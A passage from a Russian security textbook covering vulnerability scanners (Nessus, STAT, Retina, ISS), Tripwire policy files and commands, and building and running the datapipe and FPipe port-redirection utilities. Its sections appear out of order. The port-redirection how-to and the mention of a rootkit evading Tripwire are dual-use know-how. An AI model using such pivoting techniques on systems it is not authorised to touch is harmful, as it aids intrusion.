@@section. Начинает новый раздел файла. Эта директива может сопровождаться аргументами: FS, NTFS или NTREG. Unix-версия Tripwire игнорирует разделы файла NTFS или NTREG, что позволяет вам использовать один файл политики для всей вашей сети. Если после директивы не задано никаких аргументов, предполагается значение FS. Нет необходимости определять конец раздела, поскольку Tripwire просто просматривает файл в поисках следующей директивы и интерпретирует ее, как конец предыдущего раздела.@@ifhost, @@else, @@endif. Эти директивы можно использовать для определения специфических для хоста разделов файла. В отличие от директив разделов, директивы ifhost требуют, чтобы предложение было завершено директивой endif. Это позволяет вам запускать правила только для конкретного хоста в группе хостов, воспользовавшись примерно такой командой:
@@ifhost originix || badman # define rules for only hosts originix and badman here @@endif
@@print, @@error. Эти директивы используются для вывода отладочных сообщений из файла политики. Директория @@print просто печатает на стандартный вывод, а директива @@error осуществляет печать в случае ненормального завершения работы программы. Следующий пример указывает Tripwire выдать сообщение в случае, если будет сделана попытка проверки хоста cauliflower, поскольку для этого хоста не предусмотрено никаких правил проверки:
@@ifhost cauliflower @@error "We haven't written any policy rules for host cauliflower yet" @@endif
@@end. Эта директива обозначает конец файла политики. Достигнув этой точки, Tripwire прекращает считывание файла.
Использование нового файла политики. После того как вы модифицировали или создали новый файл политики (назовем его newpolicy.txt), воспользуйтесь командой tripwire -m p newpolicy.txt, чтобы дать возможность программе использовать новый файл политики и, соответственно, обновить базу данных.
Просмотр файлов политик и конфигурационных файлов
Файлы политик указывают Tripwire на то, какие файлы проверять, какую информацию просматривать и когда предупреждать вас о том, что произошли какие-то изменения. Устанавливаемый по умолчанию файл политик, twpol.txt, содержит определение переменных и правил. Более детально они рассматриваются в разделе "Представление о файлах политики Tripwire". Конфигурационный файл, twcfg.txt, хранит информацию о месте положения файлов и другие предпочтения, которые должно использовать приложение Tripwire. Обычно вам не потребуется изменять конфигурацию по умолчанию.
Оба эти файла шифруются с использованием общей секретной фразы в процессе инсталляции. Действительные файлы конфигурации и политики, которые использует Tripwire, называются tw.pol и tw.cfg. Они представляют собой двоичные зашифрованные файлы и по умолчанию устанавливаются в директорию /etc/tripwire. Tripwire также устанавливает незашифрованные копии файлов (twpol.txt и twcfg.txt) на случай, если вы захотите просмотреть или изменить их. Рекомендуется удалить все текстовые копии файлов после того, как вы изучите их содержание. Если позже вам понадобится изменить любой из этих файлов в текстовом формате, вы можете воспользоваться утилитами, которые обсуждаются в разделе "Другие утилиты Tripwire".
Реализация
Помните, что Nessus - клиент-серверное приложение. После успешного завершения компиляции следующим шагом будет запуск демона, который поддерживает запросы по сканированию и выполняет основную работу. Для начала необходимо сконфигурировать демона.
Поскольку у клиента Nessus должна быть возможность соединиться с демоном, в первую очередь необходимо создать сертификат для демона (для версии 1.2.0 - если вы хотите, чтобы связь между клиентом и сервером шифровалась по протоколу SSL) и создать как минимум один клиентский профиль. Утилита nessus-mkcert, входящая в состав Nessus 1.2.0, позволяет создать SSL-сертификат и обеспечивает поддержку процесса его создания. Утилита nessus-adduser может быть использована для добавления пользователей в базу данных Nessus. При запуске утилиты nessus-adduser вы получаете запрос на ввод имени пользователя и типа аутентификации. Версия 1.2.0 позволяет сделать выбор между аутентификацией по паролю или по сертификату. Для пользователей версии 1.2.0 обычно достаточно аутентификации по паролю. Для пользователей более ранних версий предпочтительней аутентификация по коду. Вас могут попросить настроить параметры, описывающие, откуда разр ешен доступ пользователям (по умолчанию отовсюду), и ввести одноразовый пароль, на котором будет базироваться аутентификация по коду. Как только вы соединитесь с Nessus первый раз с использованием имени пользователя и пароля, все последующие соединения не потребуют ввода пароля. Если вы используете версию 1.2.0, пароль вам может понадобиться каждый раз, если только вы не задали аутентификацию по сертификату (см. страницы справки). Вы можете сконфигурировать правила для каждого пользователя (например, какие машины разрешено сканировать пользователю), но многопользовательская конфигурация выходит за рамки тем, обсуждаемых в этой книге. Для наших целей оставьте список правил пустым, нажав CTRL-D и подтвердив создание пользователя, введя символ y и нажав ENTER.
Файл nessusd.conf (который устанавливается по умолчанию в директорию /usr/local/etc/nessus/) содержит несколько глобальных параметров сканирования, которые вы захотите пощупать.
После установки STAT у вас сразу запросят регистрационный ключ. Если у вас его нет, вы сможете запускать приложение только в "ознакомительном" режиме, который предоставляет возможность тридцатидневного использования сканера, но с ограниченными возможностями по запуску тестов уязвимости (из конфигурационного файла QuickScan.dat).
Как показано на рис. 12.9, у STAT хорошо организованный интерфейс. Ниже меню и панели инструментов показано текущее состояние выбранной машины и конфигурационный файл (политика или работающие тесты уязвимости). Найденные уязвимости перечисляются в главном окне. Если вы сканируете несколько машин, то можете выбрать найденные уязвимости на конкретной машине или на всех машинах сразу. Каждую колонку можно сохранить. В нижней части окна значки показывают количество найденных уязвимостей и их уровень. Вы также можете отслеживать процесс сканирования, поскольку информация на дисплее обновляется регулярно.
увеличить изображение
Рис. 12.9. Интерфейс STAT
При первом запуске Retina позволяет использовать мастер помощи настроек и выполнения первого сканирования. Однако мастер не так подробен, как этого можно было бы ожидать. Он действительно несколько больше, чем "мастер помощи", объясняющий, как произвести настройки и первое сканирование. Такая последовательность действий может быть предпочтительнее, поскольку это заставляет вас изучить процесс, вместо того, чтобы действовать методом тыка. После того как вы воспользовались услугами мастера, вы готовы к работе. Вы увидите окно, изображенное на рис. 12.16.
увеличить изображение
Рис. 12.16. Главное окно Retina
Перед началом сканирования вы можете изучить некоторые параметры и настройки. Выберите Tools/Options, чтобы открыть окно Options, показанное далее.
В этом окне вы можете управлять настройками сканирования, параметрами вывода сообщений и предупреждений и даже расписанием, так что вы можете сканировать уязвимости на постоянной основе, что весьма полезно.
Выберите Tools/Reports, чтобы открыть окно Reports. Вы можете настроить отчеты, создаваемые Retina.
Меню Tools также содержит параметры, которые позволяют сконфигурировать различные политики, которые использует Retina в процессе сканирования. Вы можете управлять интервалами портов, которые просматривает программа, а также типами аудита (или тестов уязвимостей), которые она реализует.
Запустим пример сканирования уязвимости.
В главном окне программы (см. рис. 12.16) выберите параметр Scanner на левой панели и задайте IP-адрес в поле Address, расположенном в верхней части окна. Полная версия программы позволяет сканировать интервал IP-адресов.Выберите меню Action/Start, чтобы начать сканирование. Вы увидите отображение процесса сканирования в левом нижнем углу окна (рис. 12.17). Сначала Retina сканирует открытые порты и пытается получить информацию об этих портах (аналогично программе Nessus).После того как программа просмотрит систему, она показывает, какие тесты уязвимости можно использовать, и запускает их выполнение на исследуемой машине.Несколько минут спустя, после того как программа закончит сканирование, вы сможете просмотреть результаты.
Запустив Internet Scanner, вы увидите, что он загружает все доступные в базе данных тесты уязвимости и проверки на возможность проникновения в систему. Затем вы можете работать над созданием новой ISS-сессии, используя New Session Wizard. После того как вы настроите ISS-сессию, вы можете задать хосты и IP-адреса, которые вы хотите сканировать, а также типы тестов уязвимостей, которые вы хотите запустить. Сессия также использует ключевой файл, в котором задаются возможности по сканированию (например, какое количество машин позволяет сканировать ваша ISS-лицензия). Тестовая версия сканера может сканировать только локальный интерфейс (localhost). Тем не менее, когда вас попросят выбрать тип тестов уязвимостей, вы увидите, что у ISS множество стандартных политик сканирования, которые можно выбрать. По крайней мере, одна должна содержать тот тип машины, который вы сканируете.
Примечание. ISS-политики представляют собой то же самое, что и DAT-файлы STAT. Они позволяют производить сканирование на предмет обнаружения уязвимостей определенного типа и уровня опасности в зависимости от того, какие типы хостов вы сканируете.
При первом запуске Internet Scanner запускается вместе с мастером создания новой сессии (New Session Wizard), который показан на следующей иллюстрации. Поскольку мы все равно ничего не сканируем, мы можем выбрать политику Evaluation, чтобы получить представление о возможностях сканера.
Реализация: коммерческая версия
Коммерческая версия Tripwire работает точно так же, как и свободно распространяемая. Приложения и форматы файлов точно такие же. Однако коммерческая версия доступна практически для всех операционных систем, включая Windows NT, Windows 2000, Solaris и другие. Существенным преимуществом по сравнению с бесплатной версией, кроме того, что она поддерживает многие операционные системы, является наличие утилиты twagent. Эта утилита позволяет Tripwire-серверам управляться по сети через SSL-соединение. Это управляющие программное обеспечение называется Tripwire Manager и доступно для Windows NT, Windows 2000, Solaris и Linux.
Реализация: свободно распространяемая версия
Рассмотрим свободно распространяемую версию Tripwire для Linux. Для программы доступны как rpm-пакеты, так и исходные тексты. Независимо от того, какую версию вы устанавливаете, есть некоторые обязательные действия, которые придется выполнить перед установкой Tripwire.
Retina
Retina - это удаленный сканер уязвимостей, который работает под управлением Windows. Это самостоятельное приложение (т.е. оно не использует модель клиент/сервер) и оно распространяется на коммерческой основе, но вы можете загрузить 15-и дневную тестовую версию по адресу: http://www.eeye.com/html/Products/Retina/index.html.
Как и STAT, Retina работает не по модели клиент/сервер. Полное приложение (включая проверку безопасности) должно быть установлено на всех машинах, с которых вы хотите производить сканирование. У Retina есть дополнительные утилиты и модули, которые можно использовать для получения дополнительной информации о машинах, которые вы сканируете. Тем не менее, концептуально, Nessus, STAT и Retina не отличаются друг от друга.
Сканирование и анализ системы
Теперь мы готовы начать сканирование.
Щелкните на кнопке Start The Scan в левом нижнем углу закладки Target Selection.В окне состояния, в зависимости от того, как много параллельных процессов разрешено для выполнения, вы сможете увидеть несколько запущенных параллельно тестов уязвимости, как это показано на рис. 12.7.Теперь можно выпить чашечку кофе. Каждое сканирование только трех хостов может потребовать довольно много времени. Когда сканирование завершится, результаты будут готовы для просмотра в окне Nessus Report, показанном на рис. 12.8.
Рис. 12.6. Закладка Target Selection (Выбор цели)
Рис. 12.7. Состояние сканирования
Примечание. На рис. 12.8 показан выходной отчет версии 1.0.10 Nessus. Выходной отчет версии 1.2.0 был переработан, но основные положения, обсуждаемые здесь, остались прежними.
Рис. 12.8. Отчет о проделанной работе
Теперь пришло время анализировать отчет. По умолчанию Nessus сводит все обнаруженные проблемы и разделяет их по портам и хостам. Щелкните на хосте в списке в левой части окна Report, чтобы отобразить список портов на этом хосте. Дважды щелкните на конкретном порте, чтобы посмотреть, какие проблемы с безопасностью этого порта обнаружила программа. На рис. 12.8 видно, что Nessus обнаружил дыру в безопасности с высоким (High) фактором риска, относящимся к SSH-серверу по адресу 192.168.1.100. Nessus также показывает, что он определил тип и версию работающего Web-сервера. Понятно, что это не обязательно проблема безопасности, а полезная информация, которую потенциальный взломщик может легко получить.
Вы можете отсортировать выходную информацию по портам, щелкнув на кнопке Sort By Port. Список портов будет представлен слева, а соответствующие машины и их проблемы безопасности будут представлены справа в окне Report. Это полезно, если вы просматриваете информацию о конкретной уязвимой службе.
Nessus также сортирует хосты в соответствии со сложностью проблем. Красный значок означает, что обнаружена, по крайней мере, одна дыра в безопасности. Белый значок означает, что порт открыт, но не было найдено никаких ошибок.
Если вы хотите сохранить отчет в файле, можно выбрать формат отчета из выпадающего списка между кнопками Save As и Close, а затем щелкнуть на кнопке Save As. Вы можете сохранить отчет в собственном формате Nessus (по умолчанию NSR), чтобы просмотреть его позже. В противном случае, вы можете сохранить отчет в формате HTML или LaTeX, или в виде простого текстового файла. Это не слишком красиво, но, по крайней мере, здесь есть вся информация.
Создание отчетов
Другая сильная сторона ISS - расширенные возможности составления отчетов. Вы можете выбрать тип отчета, какую информацию включать в отчет, и осуществить предварительный просмотр отчета. В строке меню ISS выберите Reports/Generate Report. Сначала вам потребуется ответить на вопрос о типе отчета. Вы можете выбрать тип аудитории, для которой готовится отчет (административный состав, технические специалисты и т.д.), язык отчета (английский, испанский и т.д.). На рис. 12.24 показаны настройки отчета для административного состава об уязвимостях в системе. Нажмите Next для продолжения.
увеличить изображение
Рис. 12.24. Выбор типа отчета
Далее вас спросят, какие атрибуты вы хотите перечислить в вашем отчете. Если вы выполняли множественное сканирование или ISS-сессию, то можете выбрать, какие результаты вы хотите включить в отчет. Вы можете выбрать для включения в отчет информацию только о конкретных типах уязвимостей или конкретных службах. Можете ограничить включение в отчет сведений об уязвимостях с конкретным уровнем риска, в том случае, если администрация беспокоится только о уязвимостях с высокой степенью риска. На рис. 12.25 показан пример окна Report Criteria.
увеличить изображение
Рис. 12.25. Выбор критериев для отчета
Когда вы закончите, ISS даст возможность посмотреть предварительный вариант отчета. Внешний вид отчета может отличаться в зависимости от того, кому он предназначен, но заметим, что целевая аудитория и цели отчета перечислены в самом начале. Отчеты обычно могут включать графики и рисунки, которые показывают степень серьезности обнаруженных проблем. Более детальное изложение проблем может зависеть от выбранного типа аудитории. На рис. 12.26 показан внешний вид отчета об уязвимостях, предназначенного для административного аппарата.
STAT
Программа STAT - это набор коммерческих программ, поставляемых компанией Harris Corporation (http://www.statonline.harris.com/), который включает в себя STAT Neutralizer, STAT Analyzer и STAT Scanner. STAT Neutralizer размещается на отдельной Windows-машине и выполняет задачи контроля за выполнением правил безопасности, наблюдения за вирусами и проведение активных мероприятий против попыток внедрения. STAT Analyzer обеспечивает интеграцию нескольких других коммерческих сканеров уязвимостей (включая собственный сканер STAT Scanner), чтобы представить вам более полную и достоверную картину уязвимости вашей сети.
STAT Scanner - современное средство аудита в комплекте STAT, и в этом разделе мы сосредоточимся на нем. Тем не менее, возможности интеграции STAT Analyzer с другими системами аудита, упоминавшиеся в этой лекции, делают его достойным внимания.
STAT Scanner (в оставшейся части раздела - STAT) использует те же основные настройки, что и другие сканеры уязвимостей. STAT работает на платформе Windows NT/2000, но может быть запущен и на других операционных системах. Наилучшая производительность достигается на Windows-машинах. Если при сканировании вы входите в систему, как администратор домена, у вас есть возможность получить доступ как к машинам для анализа локальной уязвимости, так и анализировать уязвимость с точки зрения удаленного доступа.
STAT не использует архитектуру клиент-сервер. Исполняемая часть и тесты уязвимости должны размещаться на каждом хосте, который необходимо сканировать. STAT еженедельно выпускает новые тесты уязвимости, и их можно скачать с авторизованного Web-сайта.
Щелкнув дважды на каждом сообщении о найденных уязвимостях, можно получить массу информации о найденных проблемах, их сложности, где можно получить дополнительную информацию, и как их устранить. Для некоторых видов уязвимостей у STAT есть уникальная возможность "auto fix", такая, как корректировка системного реестра. Если STAT может устранить их самостоятельно, то становится доступна кнопка AutoFix.
Tripwire
Программа Tripwire несколько отличается от других утилит, обсуждавшихся в этой лекции. Она предназначена для аудита файлов и приложений, а не уязвимостей в этих файлах и приложениях. Tripwire размещается в системе и проверяет наличие изменений в любых файлах. Вы можете настроить ее на проверку важных двоичных файлов, исполняемых модулей и конфигурационных файлов, которые не должны изменяться. Если в этих файлах обнаружены изменения, Tripwire записывает информацию в журнал и может даже послать уведомление по электронной почте. Важно заметить, что Tripwire может только обнаружить изменения и уведомить об этом; программа не может предотвратить несанкционированные изменения файлов. И все же, Tripwire - великолепное средство для предохранения системы от "троянских коней" и гарантия того, что неавторизованные пользователи не будут играть с критическими файлами.
увеличить изображение
Рис. 12.26. Отчет об уязвимостях для администрации
Примечание. "Троянскими конями" называют приложения, которые имеют вид обычных, разрешенных для использования в системе приложений, но, на самом деле, являются взломанными версиями приложений, которые могут скрыто совершать различные запрещенные в системе действия.
Tripwire может запускаться на любом количестве маршрутизаторов и коммутаторов Cisco и серверах под управлением ОС Solaris. Программа также может быть интегрирована с Web-сервером Apache для мониторинга изменения Web-файлов и содержимого сайта. Tripwire - коммерческий продукт; вы можете загрузить тестовую версию по адресу http://www.tripwire.com/. Однако отдельная, свободно распространяемая версия Tripwire доступна по адресу http://www.tripwire.org/. В этом разделе обсуждаются обе версии. В действительности Tripwire работает одинаково в обеих версиях, но управление узлами Tripwire в коммерческой версии проще.
Каким образом осуществляется мониторинг файлов? Программа отслеживает такие позиции, как размер файла и контрольная сумма файла, представляя их в качестве сигнатуры, которая не должна меняться. Мы познакомимся с различными параметрами сигнатуры файлов в разделе "Представление о файлах политики Tripwire".
Совет. Основанная на загрузке в ядро утилита Knark в действительности может скрывать замаскированных под системные команды "троянских коней" от Tripwire. За дополнительной информацией обращайтесь к лекции "Черный ход и средства удаленного доступа".
Запуск install.sh
Скрипт install.sh используется для установки Tripwire и должен быть запущен с полномочиями пользователя root. Запустив этот скрипт, вы получите запрос на подтверждение о согласии с лицензионным соглашением и выборе директории для установки программы (как правило, лучше использовать установки по умолчанию). После этих стандартных операций вас попросят ввести секретную фразу. Эта фраза используется для шифрования политик, баз данных и конфигурационных файлов с целью защиты их от подделки. Как только вы введете секретную фразу, скрипт сгенерирует ключ для шифрования ваших файлов. Вы получите запрос относительно общей секретной фразы для шифрования конфигурационных файлов и файлов политик. Секретная фраза будет сохраняться в виде текста на случай, если вы захотите что-то изменить.
Примечание. Tripwire использует общий ключ для шифрования ваших файлов политик и конфигурационных файлов и локальную фразу для шифрования баз данных и отчетов. Установка общей и локальной секретных фраз позволяет вам (и только вам) расшифровать эти файлы для просмотра и модификации.
Запуск сканирования
После работы с мастером New Session Wizard в начале сессии у вас уже должны быть заданы IP-адреса, которые вы хотите сканировать. Как только вы настроили политику сканирования в соответствии со своими предпочтениями, можно начинать работу.
Выберите Scan/Scan Now.Чтобы просканировать одну машину, потребуется несколько минут. Значок в верхнем правом углу окна будет двигаться в процессе сканирования, и вы можете щелкнуть на закладке Status, чтобы посмотреть, как происходить сканирование. Когда сканирование завершится, вы увидите окно результатов, показанное на рис. 12.20.
увеличить изображение
Рис. 12.20. Результаты ISS-сканирования
Откройте закладку Vulnerabilities и просмотрите, что нашел ISS (рис. 12.21). Каждая найденная уязвимость содержит информацию об уровне риска (такую как Warning, High, Low и т.д.) и описание.
Сканер может находить ошибки конфигурации политик Windows и ошибки конфигурации служб. Например, уязвимость identdresp показывает, что мы запустили демон identd, который может использоваться удаленной машиной для определения имен пользователей в системе.
Открытая закладка Services, показанная на рис. 12.22, показывает какие Internet- и Windows-службы запущены на машине. Все службы, которым не следует работать, не должны работать. Используя Internet Scanner, вы можете с одного места определить все службы, работающие на всех ваших машинах.
увеличить изображение
Рис. 12.21. Уязвимости, обнаруженные при сканировании
увеличить изображение
Рис. 12.22. Проверка запущенных служб
Internet Scanner позволяет даже произвести ревизию пользовательских профилей в системе, к которым вы можете получить доступ на закладке Accounts, показанной на рис. 12.23. Это легко сделать на Windows-машине, где у вас есть полномочия администратора.
увеличить изображение
Рис. 12.23. Закладка Accounts
Закладки слева от окна Session обеспечивают различные способы представления информации о сканировании. Вы можете не только посмотреть информацию по конкретному хосту, но и быстро просмотреть, какие из машин имеют конкретные уязвимости, на каких из них запущены конкретные службы, и на каких активны конкретные пользователи.
Запуск Tripwire
У Tripwire четыре основных режима работы: инициализация базы данных, интегральная оценка, обновление базы данных и обновление политики.
Режим инициализации базы данных. Перед тем как вы сможете сравнивать файлы в вашей системе с правильной сигнатурой, вы должны создать основу для этих сигнатур. Режим инициализации базы данных использует файл политики для выполнения этой работы и создания базы сигнатур. При этом используются значения по умолчанию из конфигурационного файла, если только вы не задали другие значения в командной строке. Ниже приведена командная строка, которая запускает режим инициализации базы данных.
# tripwire -m i -v
Параметр -m используется для задания режима (-m показывает режим инициализации базы данных). Вы получите запрос на ввод локальной секретной фразы, и Tripwire понадобится несколько минут на проверку ваших файлов в процессе создания базы данных сигнатур файлов. Параметр -v используется для отображения процесса работы программы на экране. Как только будет создана база данных, она сохранится в двоичном файле Tripwire Database (.twd), который доступен для записи только пользователю root (обычно в директории /var/lib/ tripwire) и зашифрована с использованием локального ключа. Файл может быть прочитан только с помощью команды twprint, которую может запустить только пользователь root. Вы можете проверить, что права на доступ к файлу и директории с данными Tripwire (по умолчанию /etc/tripwire and /var/lib/tripwire) запрещают другим пользователям доступ на чтение и изменение этой информации.
Режим интегральной оценки. Это обычный режим работы Tripwire. Программа сканирует файлы в поисках любых нарушений заданной политики. Отчет о работе сохраняется по адресу, заданному в переменной REPORTFILE в файле tw.cfg, который по умолчанию определен как /var/lib/tripwire/ report/.
Эта команда может сопровождаться заданием некоторых параметров. Вы можете задать альтернативные имена файлов политики, конфигурации, базы данных и отчета. Можете включить режим интерактивной работы (-I), который после завершения сканирования создает текстовый файл отчета в тестовом редакторе по умолчанию.
Для сохранения ваших отчетов в зашифрованном виде воспользуйтесь параметром -E для ввода локальной секретной фразы. Вы также можете изменить политику, проигнорировав отдельный параметры (-i), делая проверки только определенного уровня опасности (-l), используя при проверке только заданные по именам правила (-R), или проверяя только определенные файлы. Например, если мы проверяем целостность только команды ls, мы должны ввести:
# tripwire -m c -v /bin/ls
Здесь мы задали режим интегральной оценки (-m c) с включенным расширенным режимом вывода (-v). Если мы не задаем имя файла в конце командной строки, Tripwire проверяет все файлы в базе данных, которая определена по умолчанию. Следующая команда задает для программы проверку только файлов с самым высоким уровнем опасности (более 100):
# tripwire -m c -v -l 100
Уровень опасности и имена правил могут быть заданы в файле политики. Параметры -i, -l и -R станут понятнее после прочтения раздела "Представление о файлах политики Tripwire".
Совет. Создав файл отчета (с расширением .twr), вы можете посмотреть текстовый файл, воспользовавшись утилитой twprint. Вы также можете воспользоваться утилитой twprint для распечатки в текстовом виде базы данных Tripwire (.twd). По умолчанию только пользователь с полномочиями root может запустить утилиту twprint, гарантирующую, что обычный пользователь не сможет увидеть содержание этих баз данных и отчетов.
После того как будет создана база данных, и вы запустите интегральную проверку, можете настроить утилиту cron для автоматического выполнения Tripwire каждую ночь, еженедельно или так, как пожелаете.
Режим обновления базы данных. Если файл изменен и эти изменения законны, вам необходимо обновить базу данных для сохранения сведений о произведенных изменениях, чтобы информация об этих изменениях постоянно не попадала в отчеты. Чтобы воспользоваться этим режимом (-m u), вам необходимо найти ваш самый последний отчет и задать его в командной строке с помощью параметра -r:
# tripwire -m u -r /var/lib/tripwire/report/host-20020330-235028.twr
В результате этого в текстовый редактор будет передан текстовый файл отчета, который будет содержать полную информацию о сканировании. Вы сможете увидеть имя каждого правила из файла политики, уровень опасности и то, сколько правил обнаружили изменения.
Если вы пролистаете раздел Object Summary отчета, вы сможете увидеть так называемые ballot boxes для каждого изменения, которое было произведено с момента последнего обновления базы данных и последней интегральной оценки:
----Rule Name: Tripwire Data Files (/var/lib/tripwire) Severity Level: 100 ----Remove the "x" from the adjacent box to prevent updating the database with the new values for this object.
Added: [x] "/var/lib/tripwire/originix.twd"
Если вы оставите строки, помеченные символом x, без изменений, то база данных будет обновлена с учетом этих изменений, и они не будут в дальнейшем учитываться при проведении интегральной оценки. Если вы удалите символы x, то покажете, что эти несанкционированные изменения и база данных должны остаться неизмененными.
После того как вы выйдите из редактора, Tripwire запросит у вас ввод локальной секретной фразы, чтобы получить возможность обновить базу данных, если в нее должны быть внесены какие-либо изменения. Вы также можете выбрать режим внесения всех изменений без предварительного просмотра, задав в командной строке параметр -a.
Режим обновления политики. Когда вы лучше узнаете Tripwire и будете получать все больше и больше предупреждений, которые на самом деле будут ложными, вам захочется поиграть с политикой. Ниже приведена командная строка, с помощью которой можно обновить файл политики, задав новую, с использованием текстового файла newpolicy.txt:
# tripwire -m p newpolicy.txt
После обновления политики база данных будет обновлена, исходя из правил новой политики. Вам вновь понадобятся общая и локальная секретные фразы, чтобы получить доступ к файлам политики и базе данных.
Мы кратко обсудим проблему создания политики для Tripwire в разделе "Представление о файлах политики Tripwire"
DATAPIPE
Сервисная программа, используемая для перенаправления портов, направляет TCP/IP-трафик, полученный ею на одном из портов, к другому порту, указанному самой сервисной программой. За исключением обработки IP-адресов и номеров портов, при перенаправлении порта игнорируется тип протокола: утилита не заботится о том, передаете ли вы через нее зашифрованный трафик по протоколу Secure Shell(SSH) или открытый текст электронной почты. Утилита перенаправления порта не является ни клиентом, ни сервером. Она функционирует, как канал для TCP/IP-подключений, а не как конечная точка. Например, вы могли бы поместить утилиту datapipe между Web-броузером и Web-сервером. Web-броузер адресовался бы к утилите перенаправления порта, но все запросы были бы переданы на Web-сервер.
Утилита datapipe представляет собой сервисную программу перенаправления портов для Unix, написанную Тоддом Виерлингом (Todd Vierling). Она использует стандартные системные и сетевые библиотеки, которые дают ей возможность выполняться на любых платформах Unix.
Примечание. Утилита datapipe не является программой взлома (exploit code). Она не вызывает переполнения буфера или атак типа CSS (cross-site scripting). Для всех сценариев, упомянутых в этих примерах, доступ к командной строке на сервере, выполняющем утилиту перенаправления порта, является необходимым условием.
FPIPE
Похоже, что Unix-системы всегда первыми обеспечивают пользователей наиболее полезными сетевыми сервисными средствами. Утилита datapipe содержит немногим более 100 строк программного кода на языке C. До создания библиотеки Cygwin и datapipe не существовало никаких вариантов для перенаправления портов средствами Windows. Утилита FPipe, созданная компанией Foundstone, реализует технологию перенаправления портов для системы Windows. В ней также добавлена поддержка протокола пользовательских дейтаграмм (UDP - User Datagram Protocol), которая отсутствует в datapipe.
Утилита FPipe не требует никаких вспомогательных файлов DLL или привилегированного доступа, однако она выполняется только на платформах NT, 2000 и XP. Отсутствие вспомогательных файлов DLL или подобных файлов облегчает возможность простого переноса исполняемого файла fpipe.exe на другую систему. По сравнению с datapipe, утилита FPipe добавляет больше возможностей по использованию порта отправителя и связыванию с определенным интерфейсом.
Компилирование исходного файла
Вы должны скомпилировать утилиту datapipe для своей платформы. Полезно иметь предварительно скомпилированные бинарные файлы для нескольких типов операционных систем Unix: Solaris, AIX, Linux, FreeBSD и др. Используйте команду gcc для компилирования под Linux и семейство BSD.
$ gcc -o datapipe datapipe.c datapipe.c: In function 'main': datapipe.c:86: warning: passing arg 1 of 'gethostbyaddr' from incompatible pointer type datapipe.c:98: warning: passing arg 2 of 'bind' from incompatible pointer type datapipe.c:113: warning: passing arg 2 of 'accept' from incompatible pointer type datapipe.c:136: warning: passing arg 2 of 'connect' from incompatible pointer type
В приведенном выше примере двоичный код скомпилировался успешно. Предупреждений, связанных с функциями bind, accept и connect, можно избежать, преобразуя тип второго аргумента к типу (struct sockaddr *), однако программа работает и без этого преобразования.
if (bind(lsock, (struct sockaddr *) &laddr, sizeof(laddr))) {
В зависимости от библиотек совместимости вашей системы, вам, возможно, придется также удалить строку 48.
#include <linux/time.h>
Спокойно удалите эту строку, не ожидая никаких неприятных последствий.
Утилита datapipe компилируется также под Cygwin, но вы должны изменить еще одну строку (строка 96 в оригинальном исходном файле).
laddr.sin_family = htons (AF_INET);
Удалите вызов функции htons.
laddr.sin_family = AF_INET;
Помните, что файл cygwin1.dll необходим, чтобы утилита datapipe выполнялась в системе Windows, однако вам не нужно регистрировать файл DLL. Обратите внимание, что Windows не требует, чтобы вы являлись привилегированным пользователем (т. е. имели права администратора) для открытия портов, имеющих номера ниже, чем 1024.
Другие опции компилирования. При компилировании утилиты datapipe для некоторых вариантов системы Unix компонуйте такие версии бинарного кода, которые имеют свойства static и shared (общего доступа). Версия бинарного кода, использующая библиотеки общего доступа, компонуется по умолчанию с опциями компилятора gcc, упомянутыми выше.
Эти опции дают самый маленький двоичный файл, но он, возможно, будет выполняться только на том физическом хосте, на котором он компилировался. Альтернатива состоит в компоновке статической версии, которая содержит все функции поддержки, необходимые, чтобы программа выполнялась.
$ gcc -o datapipe_static -static datapipe.c
С такими опциями создается двоичный файл намного большего размера, но он должен выполняться на любой равнозначной операционной системе. Статическая версия утилиты datapipe облегчит перенос этой программы на систему, которая, возможно, не имеет компилятора. Вы можете также добавить к gcc опцию -s, чтобы удалить часть неиспользуемой символьной информации.
$ gcc -o datapipe_static_stripped -static -s datapipe.c
Ниже приводятся примеры различных размеров файлов, которые получаются на системе OpenBSD. Звездочка указывает на то, что файл является исполняемым:
-rwxr-xr-x 1 root wheel 29420 Mar 9 20:05 datapipe* -rw-r-r- 1 root wheel 4556 Mar 9 20:05 datapipe.c -rwxr-xr-x 1 root wheel 175139 Mar 10 01:45 datapipe_static* -rwxr-xr-x 1 root wheel 143360 Mar 10 01:45 datapipe_static_stripped* Совет. Попытайтесь скомпоновать коллекцию сервисных программ datapipe, используя опции -static и -s для операционных систем Solaris (sparс и x86), AIX, IRIX, Linux (x86) и FreeBSD.
Перенаправление трафика
Использовать утилиту datapipe несложно, несмотря на сложные пути перенаправления портов, которые вы можете создавать с ее помощью.
$ ./datapipe Usage: ./datapipe localport remoteport remotehost
Значение localport представляет номер порта, прослушиваемого на локальной системе; подключения будут сделаны к этому номеру порта. В Unix вы должны быть привилегированным пользователем (root), чтобы открыть для прослушивания порты, имеющие номера ниже 1024. Если вы получите ошибку, подобную такой: "bind: Permission denied" ("Нет разрешения на доступ"), это будет означать, что ваша учетная запись, возможно, не дает вам право открывать зарезервированный порт.
Значение remoteport представляет номер порта, на который будут переправлены данные. Например, если адресатом является Web-сервер, значение remoteport равно 80.
Значение remotehost представляет имя хоста или IP-адрес получателя.
Самый легкий концептуальный пример перенаправления порта: переадресация трафика HTTP. В этом случае мы устанавливаем утилиту datapipe так, чтобы прослушивать порт с большим номером, в данном примере 9080, и переадресовывать трафик на любой сайт по вашему выбору.
$./datapipe 9080 80 www.google.com
Теперь вводим следующий URL в Web-броузер:
http://localhost:9080/
Должна открыться домашняя страница сайта Google. Утилита datapipe выполняется в фоновом режиме, поэтому надо использовать команды ps и kill, чтобы найти ID процесса и остановить его.
$ ps auxww | grep datapipe root 21570 0.0 0.1 44 132 ?? Is 8:45 PM 0:00.00 ./datapipe 9080 80 www.google.com $ kill -9 21570
Утилита datapipe выполняет элементарную функцию, но, с небольшими творческими усилиями, вы можете превратить ее в мощный инструмент. В разделе "Пример из жизни: перенаправление портов" есть интересные предложения о том, когда можно использовать перенаправление порта.
Примечание. При перенаправлении портов трафик переадресуется между TCP-портами, и только. При этом не выполняются преобразования протокола или какие-либо другие манипуляции с данными. Перенаправление Web-трафика от порта 80 к порту 443 не изменит http-подключение на зашифрованное HTTPS-подключение. Вместо этого используйте SSL-прокси.
Реализация
Наиболее простые сервисные программные средства в мире Unix легко распространяются в исходном коде. Это дает возможность пользователям адаптировать программу к разнообразным аппаратным платформам и версиям Unix, используя один и тот же вариант утилиты datapipe.
Увеличение функциональных возможностей утилиты FPipe требует указания еще нескольких ключей командной строки:
